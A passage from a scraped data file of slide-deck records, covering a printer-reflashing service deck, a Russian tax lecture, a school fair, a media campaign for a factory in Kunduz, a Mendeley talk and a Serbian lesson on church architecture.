"description": "Деякі з принтерів які ми прошиваємо Konica Minolta PagePro 1480/1490MF Samsung CLP-310/315 SAMSUNG CLP-320/320N SAMSUNG CLX-3170/3175 SAMSUNG CLX-3180/3185FN Samsung ML-1640/1641/1645/2240 SAMSUNG ML-1660 SAMSUNG ML-1661 SAMSUNG ML-1665 SAMSUNG ML-1667 SAMSUNG ML-1860 SAMSUNG ML-1910 SAMSUNG ML-1915 SAMSUNG ML-2240 SAMSUNG ML-2241 SAMSUNG ML-2245 SAMSUNG ML-2520 SAMSUNG ML-2525 SAMSUNG ML-2580 SAMSUNG ML-3310 Samsung SCX – 3200/3205 Samsung SCX-4300 Samsung SCX-4600 SAMSUNG SCX-4623FN Samsung SCX-4824 SAMSUNG SCX-4825FN SAMSUNG SCX-4828 Samsung SCX-4833FD Xerox Phaser 3100MFP Xerox Phaser 3140 Xerox Phaser 3155 Xerox Phaser 3160 Xerox Phaser 3210/3220MFP Xerox Phaser 3300 Xerox WC 3550"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/3394a152b396f67cafe2a706d1d35895/img11.jpg",
"description": "Способи боротьби: програмне забезпечення Стандартні програми виробників друкуючої техніки; Модифіковані стандартні програми виробників друкуючої техніки; Стандартні програми сторонніх виробників; Спеціалізовані програми для роботи з чіпами і принтерами."
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/3394a152b396f67cafe2a706d1d35895/img12.jpg",
"description": "Програма PonyProg 2000"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/3394a152b396f67cafe2a706d1d35895/img13.jpg",
"description": "Типи програматорів: Прилади виробників друкуючої техніки; Прилади сторонніх виробників широкого призначення; Спеціалізовані прилади сторонніх виробників саме для роботи з чіпами і принтерами."
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/3394a152b396f67cafe2a706d1d35895/img14.jpg",
"description": "Програматори сторонніх виробників широкого призначення"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/3394a152b396f67cafe2a706d1d35895/img15.jpg",
"description": "Спеціалізовані автономні програматори"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/3394a152b396f67cafe2a706d1d35895/img16.jpg",
"description": "Спеціалізовані неавтономні програматори"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/3394a152b396f67cafe2a706d1d35895/img17.jpg",
"description": "Програматори в роботі"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/3394a152b396f67cafe2a706d1d35895/img18.jpg",
"description": "Прошивка принтера програматором"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/3394a152b396f67cafe2a706d1d35895/img19.jpg",
"description": "Витратні матеріали і екологія"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/3394a152b396f67cafe2a706d1d35895/img20.jpg",
"description": "Дякую за увагу. Ваша лабораторія “СІНТ-Майстер”"
}
] |
https://mypresentation.ru/presentation/9966 | Прочие федеральные налоги | Экономика и Финансы | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/468024cd63ab6032e25106b55aee940a/img0.jpg",
"description": "Прочие федеральные налоги"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/468024cd63ab6032e25106b55aee940a/img1.jpg",
"description": "1.Налог на добычу полезных ископаемых (НДПИ) 2.Водный налог 3.Сборы за пользование объектами животного мира и за пользование объектами водных биологических ресурсов. 4.Госпошлина"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/468024cd63ab6032e25106b55aee940a/img2.jpg",
"description": "Налог на добычу полезных ископаемых Налогоплательщики: Организации и индивидуальные предприниматели, признаваемые пользователями недр. Постановка на учет в качестве налогоплательщиков осуществляется: 1.По месту нахождения участка недр, предоставленного налогоплательщику в пользование, (территория субъекта(ов) РФ, на которой расположен участок) 2.По месту нахождения организации (месту жительства физического лица) в случае, если добыча полезных ископаемых осуществляется на континентальном шельфе РФ, в исключительной экономической зоне РФ, за пределами РФ на территориях, находящихся под юрисдикцией РФ либо арендуемых."
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/468024cd63ab6032e25106b55aee940a/img3.jpg",
"description": "Объект налогообложения 1.Полезные ископаемые, добытые из недр на территории РФ; 2.Полезные ископаемые, извлеченные из отходов (потерь) добывающего производства, если такое извлечение подлежит отдельному лицензированию; 3.Полезные ископаемые, добытые из недр за пределами РФ на территориях, находящихся под юрисдикцией РФ (а также арендуемых). Ряд полезных ископаемых не признается объектом налогообложения."
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/468024cd63ab6032e25106b55aee940a/img4.jpg",
"description": "Налоговая база Определяется налогоплательщиком самостоятельно как стоимость добытых полезных ископаемых, за исключением нефти обезвоженной, обессоленной и стабилизированной, попутного газа и газа горючего природного из всех видов месторождений углеводородного сырья."
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/468024cd63ab6032e25106b55aee940a/img5.jpg",
"description": "Прочие федеральные налоги, слайд №6"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/468024cd63ab6032e25106b55aee940a/img6.jpg",
"description": "Налоговый период- Календарный месяц."
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/468024cd63ab6032e25106b55aee940a/img7.jpg",
"description": "Налоговые ставки Таблица налоговых ставок по налогам на добычу полезных ископаемых"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/468024cd63ab6032e25106b55aee940a/img8.jpg",
"description": "Исчисление и уплата налога Сумма налога по нефти обезвоженной, обессоленной и стабилизированной, попутному газу и газу горючему природному из всех видов месторождений углеводородного сырья исчисляется как произведение соответствующей налоговой ставки и величины налоговой базы. Сумма налога исчисляется по итогам каждого налогового периода по каждому добытому полезному ископаемому. Налог подлежит уплате в бюджет по месту нахождения каждого участка недр, предоставленного налогоплательщику в пользование. Сумма налога, исчисленная по полезным ископаемым, добытым за пределами РФ, подлежит уплате в бюджет по месту нахождения организации или месту жительства индивидуального предпринимателя"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/468024cd63ab6032e25106b55aee940a/img9.jpg",
"description": "Уплата налога и отчетность Налог уплачивается не позднее 25-го числа месяца, следующего за истекшим налоговым периодом Налоговая декларация представляется не позднее последнего числя месяца, следующим за истекшим налоговым периодом. Налоговая декларация представляется в налоговые органы по месту нахождения (месту жительства) налогоплательщика."
}
] |
https://mypresentation.ru/presentation/99670 | Городская ярмарку «ДАРЫ ОСЕНИ» Работы учащихся 3 «Б» класса и их родителей 1 октября 2011 г. г. Пионерский. - презентация | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/f847bb89886e0b4e23b946d1282f2926/img0.jpg",
"description": "Городская ярмарку «ДАРЫ ОСЕНИ» Работы учащихся 3 «Б» класса и их родителей 1 октября 2011 г. г. Пионерский. - презентация, слайд №1"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/f847bb89886e0b4e23b946d1282f2926/img1.jpg",
"description": "Городская ярмарку «ДАРЫ ОСЕНИ» Работы учащихся 3 «Б» класса и их родителей 1 октября 2011 г. г. Пионерский. - презентация, слайд №2"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/f847bb89886e0b4e23b946d1282f2926/img2.jpg",
"description": "Городская ярмарку «ДАРЫ ОСЕНИ» Работы учащихся 3 «Б» класса и их родителей 1 октября 2011 г. г. Пионерский. - презентация, слайд №3"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/f847bb89886e0b4e23b946d1282f2926/img3.jpg",
"description": "Городская ярмарку «ДАРЫ ОСЕНИ» Работы учащихся 3 «Б» класса и их родителей 1 октября 2011 г. г. Пионерский. - презентация, слайд №4"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/f847bb89886e0b4e23b946d1282f2926/img4.jpg",
"description": "Городская ярмарку «ДАРЫ ОСЕНИ» Работы учащихся 3 «Б» класса и их родителей 1 октября 2011 г. г. Пионерский. - презентация, слайд №5"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/f847bb89886e0b4e23b946d1282f2926/img5.jpg",
"description": "Городская ярмарку «ДАРЫ ОСЕНИ» Работы учащихся 3 «Б» класса и их родителей 1 октября 2011 г. г. Пионерский. - презентация, слайд №6"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/f847bb89886e0b4e23b946d1282f2926/img6.jpg",
"description": "Городская ярмарку «ДАРЫ ОСЕНИ» Работы учащихся 3 «Б» класса и их родителей 1 октября 2011 г. г. Пионерский. - презентация, слайд №7"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/f847bb89886e0b4e23b946d1282f2926/img7.jpg",
"description": "Городская ярмарку «ДАРЫ ОСЕНИ» Работы учащихся 3 «Б» класса и их родителей 1 октября 2011 г. г. Пионерский. - презентация, слайд №8"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/f847bb89886e0b4e23b946d1282f2926/img8.jpg",
"description": "Городская ярмарку «ДАРЫ ОСЕНИ» Работы учащихся 3 «Б» класса и их родителей 1 октября 2011 г. г. Пионерский. - презентация, слайд №9"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/f847bb89886e0b4e23b946d1282f2926/img9.jpg",
"description": "Городская ярмарку «ДАРЫ ОСЕНИ» Работы учащихся 3 «Б» класса и их родителей 1 октября 2011 г. г. Пионерский. - презентация, слайд №10"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/f847bb89886e0b4e23b946d1282f2926/img10.jpg",
"description": "Городская ярмарку «ДАРЫ ОСЕНИ» Работы учащихся 3 «Б» класса и их родителей 1 октября 2011 г. г. Пионерский. - презентация, слайд №11"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/f847bb89886e0b4e23b946d1282f2926/img11.jpg",
"description": "Городская ярмарку «ДАРЫ ОСЕНИ» Работы учащихся 3 «Б» класса и их родителей 1 октября 2011 г. г. Пионерский. - презентация, слайд №12"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/f847bb89886e0b4e23b946d1282f2926/img12.jpg",
"description": "Городская ярмарку «ДАРЫ ОСЕНИ» Работы учащихся 3 «Б» класса и их родителей 1 октября 2011 г. г. Пионерский. - презентация, слайд №13"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/f847bb89886e0b4e23b946d1282f2926/img13.jpg",
"description": "Городская ярмарку «ДАРЫ ОСЕНИ» Работы учащихся 3 «Б» класса и их родителей 1 октября 2011 г. г. Пионерский. - презентация, слайд №14"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/f847bb89886e0b4e23b946d1282f2926/img14.jpg",
"description": "Городская ярмарку «ДАРЫ ОСЕНИ» Работы учащихся 3 «Б» класса и их родителей 1 октября 2011 г. г. Пионерский. - презентация, слайд №15"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/f847bb89886e0b4e23b946d1282f2926/img15.jpg",
"description": "Городская ярмарку «ДАРЫ ОСЕНИ» Работы учащихся 3 «Б» класса и их родителей 1 октября 2011 г. г. Пионерский. - презентация, слайд №16"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/f847bb89886e0b4e23b946d1282f2926/img16.jpg",
"description": "Городская ярмарку «ДАРЫ ОСЕНИ» Работы учащихся 3 «Б» класса и их родителей 1 октября 2011 г. г. Пионерский. - презентация, слайд №17"
}
] |
https://mypresentation.ru/presentation/99671 | Завод «Кундуз» Презентация медиа-кампании | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/0d8bac843e4031e44b3fcbd32357de9b/img0.jpg",
"description": "Завод «Кундуз» Презентация медиа-кампании"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/0d8bac843e4031e44b3fcbd32357de9b/img1.jpg",
"description": "Цели и задачи проекта Цель проекта: Сформировать компании «Zere» имидж серьезного инвестора и надежного партнера на мировом уровне. Задачи проекта: 1. Сформировать имидж компании «Zere» в глазах населения Афганистана. 2. Обратить внимание государственных кругов Казахстана (президента, правительства, парламента) на серьезный шаг частного капитала для повышения имиджа Казахстана за рубежом, создания образа страны-лидера в Азиатском регионе."
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/0d8bac843e4031e44b3fcbd32357de9b/img2.jpg",
"description": "Содержание проекта Презентация завода с участием президента Афганистана Хамида Карзая Информационная кампания о строительстве завода в Афганистане Визит афганской делегации в Астану и Алматы"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/0d8bac843e4031e44b3fcbd32357de9b/img3.jpg",
"description": "Возможные риски и решения Изменение графика президента Афганистана Излишняя официальность мероприятий Небольшой формат материалов на выходе"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/0d8bac843e4031e44b3fcbd32357de9b/img4.jpg",
"description": "Визит афганской делегации в Астану Встреча с вице-премьером Каримом Масимовым Встреча с депутатами и чаепитие в парламенте Экскурсия по Астане"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/0d8bac843e4031e44b3fcbd32357de9b/img5.jpg",
"description": "Ожидаемые результаты Официальные мероприятия Нестандартная подача Дополнительные мероприятия, личные истории"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/0d8bac843e4031e44b3fcbd32357de9b/img6.jpg",
"description": "Визит афганской делегации в Алматы Встреча со студентами UIB Эксклюзивные материалы для журналов"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/0d8bac843e4031e44b3fcbd32357de9b/img7.jpg",
"description": "Информационная кампания в Афганистане Радио «Zohra» (Кундуз)"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/0d8bac843e4031e44b3fcbd32357de9b/img8.jpg",
"description": "Ожидаемые результаты Получение международными СМИ предварительной информации о производстве Цикл публикаций в местной прессе Кундуза"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/0d8bac843e4031e44b3fcbd32357de9b/img9.jpg",
"description": "Презентация завода Методы привлечения внимания: Участие в событии первого лица Афганистана – президента Хамида Карзая Связь события с политикой замещения производства наркотиков на мирное производство."
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/0d8bac843e4031e44b3fcbd32357de9b/img10.jpg",
"description": "Компоненты презентации Церемония открытия Работающее производство Баннеры «Кундуз» Дегустация Место для брифинга Интернет, связь"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/0d8bac843e4031e44b3fcbd32357de9b/img11.jpg",
"description": "Дополнительные методы привлечения внимания Афганские СМИ Афганские рабочие за партами Промоакции в школах Афганские фермеры"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/0d8bac843e4031e44b3fcbd32357de9b/img12.jpg",
"description": "Ожидаемые результаты Публикации в зарубежных информационных лентах Радио, телерепортажи в СМИ Афганистана Аналитические репортажи, циклы статей в СМИ Казахстана"
}
] |
https://mypresentation.ru/presentation/99672 | Www.mendeley.com [Четвериков А.А.] [Магистрант каф. общ. псих., м.н.с] [Психология XXI века] [СПбГУ] [21.04.2011] - презентация | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/2ac389084c03239f58df5cfa174a03bd/img0.jpg",
"description": "Www.mendeley.com [Четвериков А.А.] [Магистрант каф. общ. псих., м.н.с] [Психология XXI века] [СПбГУ] [21.04.2011] - презентация, слайд №1"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/2ac389084c03239f58df5cfa174a03bd/img1.jpg",
"description": "Www.mendeley.com [Четвериков А.А.] [Магистрант каф. общ. псих., м.н.с] [Психология XXI века] [СПбГУ] [21.04.2011] - презентация, слайд №2"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/2ac389084c03239f58df5cfa174a03bd/img2.jpg",
"description": "Www.mendeley.com [Четвериков А.А.] [Магистрант каф. общ. псих., м.н.с] [Психология XXI века] [СПбГУ] [21.04.2011] - презентация, слайд №3"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/2ac389084c03239f58df5cfa174a03bd/img3.jpg",
"description": "Www.mendeley.com [Четвериков А.А.] [Магистрант каф. общ. псих., м.н.с] [Психология XXI века] [СПбГУ] [21.04.2011] - презентация, слайд №4"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/2ac389084c03239f58df5cfa174a03bd/img4.jpg",
"description": "Www.mendeley.com [Четвериков А.А.] [Магистрант каф. общ. псих., м.н.с] [Психология XXI века] [СПбГУ] [21.04.2011] - презентация, слайд №5"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/2ac389084c03239f58df5cfa174a03bd/img5.jpg",
"description": "Www.mendeley.com [Четвериков А.А.] [Магистрант каф. общ. псих., м.н.с] [Психология XXI века] [СПбГУ] [21.04.2011] - презентация, слайд №6"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/2ac389084c03239f58df5cfa174a03bd/img6.jpg",
"description": "Www.mendeley.com [Четвериков А.А.] [Магистрант каф. общ. псих., м.н.с] [Психология XXI века] [СПбГУ] [21.04.2011] - презентация, слайд №7"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/2ac389084c03239f58df5cfa174a03bd/img7.jpg",
"description": "Www.mendeley.com [Четвериков А.А.] [Магистрант каф. общ. псих., м.н.с] [Психология XXI века] [СПбГУ] [21.04.2011] - презентация, слайд №8"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/2ac389084c03239f58df5cfa174a03bd/img8.jpg",
"description": "Www.mendeley.com [Четвериков А.А.] [Магистрант каф. общ. псих., м.н.с] [Психология XXI века] [СПбГУ] [21.04.2011] - презентация, слайд №9"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/2ac389084c03239f58df5cfa174a03bd/img9.jpg",
"description": "Www.mendeley.com [Четвериков А.А.] [Магистрант каф. общ. псих., м.н.с] [Психология XXI века] [СПбГУ] [21.04.2011] - презентация, слайд №10"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/2ac389084c03239f58df5cfa174a03bd/img10.jpg",
"description": "Www.mendeley.com [Четвериков А.А.] [Магистрант каф. общ. псих., м.н.с] [Психология XXI века] [СПбГУ] [21.04.2011] - презентация, слайд №11"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/2ac389084c03239f58df5cfa174a03bd/img11.jpg",
"description": "Www.mendeley.com [Четвериков А.А.] [Магистрант каф. общ. псих., м.н.с] [Психология XXI века] [СПбГУ] [21.04.2011] - презентация, слайд №12"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/2ac389084c03239f58df5cfa174a03bd/img12.jpg",
"description": "Www.mendeley.com [Четвериков А.А.] [Магистрант каф. общ. псих., м.н.с] [Психология XXI века] [СПбГУ] [21.04.2011] - презентация, слайд №13"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/2ac389084c03239f58df5cfa174a03bd/img13.jpg",
"description": "Www.mendeley.com [Четвериков А.А.] [Магистрант каф. общ. псих., м.н.с] [Психология XXI века] [СПбГУ] [21.04.2011] - презентация, слайд №14"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/2ac389084c03239f58df5cfa174a03bd/img14.jpg",
"description": "Www.mendeley.com [Четвериков А.А.] [Магистрант каф. общ. псих., м.н.с] [Психология XXI века] [СПбГУ] [21.04.2011] - презентация, слайд №15"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/2ac389084c03239f58df5cfa174a03bd/img15.jpg",
"description": "Www.mendeley.com [Четвериков А.А.] [Магистрант каф. общ. псих., м.н.с] [Психология XXI века] [СПбГУ] [21.04.2011] - презентация, слайд №16"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/2ac389084c03239f58df5cfa174a03bd/img16.jpg",
"description": "Www.mendeley.com [Четвериков А.А.] [Магистрант каф. общ. псих., м.н.с] [Психология XXI века] [СПбГУ] [21.04.2011] - презентация, слайд №17"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/2ac389084c03239f58df5cfa174a03bd/img17.jpg",
"description": "Www.mendeley.com [Четвериков А.А.] [Магистрант каф. общ. псих., м.н.с] [Психология XXI века] [СПбГУ] [21.04.2011] - презентация, слайд №18"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/2ac389084c03239f58df5cfa174a03bd/img18.jpg",
"description": "Www.mendeley.com [Четвериков А.А.] [Магистрант каф. общ. псих., м.н.с] [Психология XXI века] [СПбГУ] [21.04.2011] - презентация, слайд №19"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/2ac389084c03239f58df5cfa174a03bd/img19.jpg",
"description": "Www.mendeley.com [Четвериков А.А.] [Магистрант каф. общ. псих., м.н.с] [Психология XXI века] [СПбГУ] [21.04.2011] - презентация, слайд №20"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/2ac389084c03239f58df5cfa174a03bd/img20.jpg",
"description": "Www.mendeley.com [Четвериков А.А.] [Магистрант каф. общ. псих., м.н.с] [Психология XXI века] [СПбГУ] [21.04.2011] - презентация, слайд №21"
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/2ac389084c03239f58df5cfa174a03bd/img21.jpg",
"description": "Www.mendeley.com [Четвериков А.А.] [Магистрант каф. общ. псих., м.н.с] [Психология XXI века] [СПбГУ] [21.04.2011] - презентация, слайд №22"
},
{
"slide_number": "23",
"image": "https://mypresentation.ru/documents/2ac389084c03239f58df5cfa174a03bd/img22.jpg",
"description": "Www.mendeley.com [Четвериков А.А.] [Магистрант каф. общ. псих., м.н.с] [Психология XXI века] [СПбГУ] [21.04.2011] - презентация, слайд №23"
},
{
"slide_number": "24",
"image": "https://mypresentation.ru/documents/2ac389084c03239f58df5cfa174a03bd/img23.jpg",
"description": "Www.mendeley.com [Четвериков А.А.] [Магистрант каф. общ. псих., м.н.с] [Психология XXI века] [СПбГУ] [21.04.2011] - презентация, слайд №24"
},
{
"slide_number": "25",
"image": "https://mypresentation.ru/documents/2ac389084c03239f58df5cfa174a03bd/img24.jpg",
"description": "Www.mendeley.com [Четвериков А.А.] [Магистрант каф. общ. псих., м.н.с] [Психология XXI века] [СПбГУ] [21.04.2011] - презентация, слайд №25"
},
{
"slide_number": "26",
"image": "https://mypresentation.ru/documents/2ac389084c03239f58df5cfa174a03bd/img25.jpg",
"description": "Www.mendeley.com [Четвериков А.А.] [Магистрант каф. общ. псих., м.н.с] [Психология XXI века] [СПбГУ] [21.04.2011] - презентация, слайд №26"
},
{
"slide_number": "27",
"image": "https://mypresentation.ru/documents/2ac389084c03239f58df5cfa174a03bd/img26.jpg",
"description": "Www.mendeley.com [Четвериков А.А.] [Магистрант каф. общ. псих., м.н.с] [Психология XXI века] [СПбГУ] [21.04.2011] - презентация, слайд №27"
},
{
"slide_number": "28",
"image": "https://mypresentation.ru/documents/2ac389084c03239f58df5cfa174a03bd/img27.jpg",
"description": "Www.mendeley.com [Четвериков А.А.] [Магистрант каф. общ. псих., м.н.с] [Психология XXI века] [СПбГУ] [21.04.2011] - презентация, слайд №28"
},
{
"slide_number": "29",
"image": "https://mypresentation.ru/documents/2ac389084c03239f58df5cfa174a03bd/img28.jpg",
"description": "Www.mendeley.com [Четвериков А.А.] [Магистрант каф. общ. псих., м.н.с] [Психология XXI века] [СПбГУ] [21.04.2011] - презентация, слайд №29"
},
{
"slide_number": "30",
"image": "https://mypresentation.ru/documents/2ac389084c03239f58df5cfa174a03bd/img29.jpg",
"description": "Www.mendeley.com [Четвериков А.А.] [Магистрант каф. общ. псих., м.н.с] [Психология XXI века] [СПбГУ] [21.04.2011] - презентация, слайд №30"
}
] |
https://mypresentation.ru/presentation/99673 | Црква у хришћанској архитектури - презентация | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/980d2ba41d015812ddd9bd9b13609d63/img0.jpg",
"description": "Црква у хришћанској архитектури - презентация, слайд №1"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/980d2ba41d015812ddd9bd9b13609d63/img1.jpg",
"description": "Црква у хришћанској архитектури Прва активност УПОЗНАЈМО МАНАСТИРЕ ТИМОЧКЕ ЕПАРХИЈЕ Oрганизовање једнодневног излета деце која похађају веронауку. Маршрута је манастир Буково(присуствовање Светој литургији)-манастир Суводол (Минићево)-манастир Свете Тројице (Доња Каменица). Циљ - да ученици упознају различите стуктуре храмова спољњи изглед и унутрашњи распоред. (интелектуално-емоционална припрема ученика за обраду структуре храма)."
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/980d2ba41d015812ddd9bd9b13609d63/img2.jpg",
"description": "Манастир Буково Манастир Буково налази се на четвртом километру западно од вароши Неготин у Крајини. По предању Буково је задужбина краља Милутина с краја 13. века. Посвећен је Светом Николи."
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/980d2ba41d015812ddd9bd9b13609d63/img3.jpg",
"description": "Црква у хришћанској архитектури - презентация, слайд №4"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/980d2ba41d015812ddd9bd9b13609d63/img4.jpg",
"description": "Манастир Суводол Манастир Суводол се налази на северној страни планине Мана стирска Глава испод виса Јаношица. Постанак манастира везује се, по традицији, за доба кнеза Лазара. Манастирски храм посвећен је Пресветој Богородици, празнику рођења. Устројење је општежитељно а манастир је женски."
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/980d2ba41d015812ddd9bd9b13609d63/img5.jpg",
"description": "Црква у хришћанској архитектури - презентация, слайд №6"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/980d2ba41d015812ddd9bd9b13609d63/img6.jpg",
"description": "Манастир Света Тројица Манастир Света Тројица налази се на обронцима Старе Планине, 15 километара југоисточно од Књажевца. Претпоставља се да је храм подигао деспот Лазар 1457. године. Устројење је општежитељно а манастир је женски."
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/980d2ba41d015812ddd9bd9b13609d63/img7.jpg",
"description": "Црква у хришћанској архитектури - презентация, слайд №8"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/980d2ba41d015812ddd9bd9b13609d63/img8.jpg",
"description": "Црква у хришћанској архитектури друга активност делови храма Час је реализован у информатичком кабинету у школи. У уводном делу часа подсетићемо се које смо то манастире обишли на излету, упоредити их, а затим пронаћи њихове сличности и разлике. Циљ-да ученици схвате да, ма колико се православни храмови разликовали, унутрашњи распоред делова храма и њихова намена остаје иста. Главни део часа- Храм који ћемо анализирати је црква Свете Тројице у Неготину, која је позната свим ученицима."
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/980d2ba41d015812ddd9bd9b13609d63/img9.jpg",
"description": "Храм Храмови су света места у којима се окупљамо на молитву. У њима се врше света богослужења Цркве од којих је најважнија света ЛИТУРГИЈА."
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/980d2ba41d015812ddd9bd9b13609d63/img10.jpg",
"description": "Од раног хришћанства до данас изглед храма се мењао. Та разноликост и лепота у стиловима градње се може видети широм Србије ."
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/980d2ba41d015812ddd9bd9b13609d63/img11.jpg",
"description": "Црква у хришћанској архитектури - презентация, слайд №12"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/980d2ba41d015812ddd9bd9b13609d63/img12.jpg",
"description": "Црква у хришћанској архитектури - презентация, слайд №13"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/980d2ba41d015812ddd9bd9b13609d63/img13.jpg",
"description": "Унутрашњост храма Сваки храм се састоји из три главна дела: ОЛТАР ЛАЂА ПРИПРАТА"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/980d2ba41d015812ddd9bd9b13609d63/img14.jpg",
"description": "припрата"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/980d2ba41d015812ddd9bd9b13609d63/img15.jpg",
"description": "Лађа ( брод или наос )"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/980d2ba41d015812ddd9bd9b13609d63/img16.jpg",
"description": "У централном делу лађе храма налази се икона светитеља или празника коме је храм посвећен , тзв. целивајућа икона ."
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/980d2ba41d015812ddd9bd9b13609d63/img17.jpg",
"description": "Лађа се дели на два дела : -део где стоји верни народ ( мушкарци са десне а жене са леве стране ),"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/980d2ba41d015812ddd9bd9b13609d63/img18.jpg",
"description": "узвишени део по коме се крећу свештеници током богослужења – солеа .Округло узвишење на солеи зове се амвон ."
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/980d2ba41d015812ddd9bd9b13609d63/img19.jpg",
"description": "На северној и јужној страни солее налазе се певнице , место одакле појци певају на богослужењу ."
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/980d2ba41d015812ddd9bd9b13609d63/img20.jpg",
"description": "Олтар"
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/980d2ba41d015812ddd9bd9b13609d63/img21.jpg",
"description": "Кроз ђаконске и царске двери улази се у олтар у коме се обављају свештене радње. Најважнији део олтара је Часни престо на коме се освећуј дарови , хлеб и вино ."
},
{
"slide_number": "23",
"image": "https://mypresentation.ru/documents/980d2ba41d015812ddd9bd9b13609d63/img22.jpg",
"description": "Саставни део олтара је и горње место , на коме током литургије седи епископ"
},
{
"slide_number": "24",
"image": "https://mypresentation.ru/documents/980d2ba41d015812ddd9bd9b13609d63/img23.jpg",
"description": "Ђаконик је место где стоје свештаничке одежде и свети сасуди"
},
{
"slide_number": "25",
"image": "https://mypresentation.ru/documents/980d2ba41d015812ddd9bd9b13609d63/img24.jpg",
"description": "као и проскомидија , место где се пре литургије припрема свето причешће ."
},
{
"slide_number": "26",
"image": "https://mypresentation.ru/documents/980d2ba41d015812ddd9bd9b13609d63/img25.jpg",
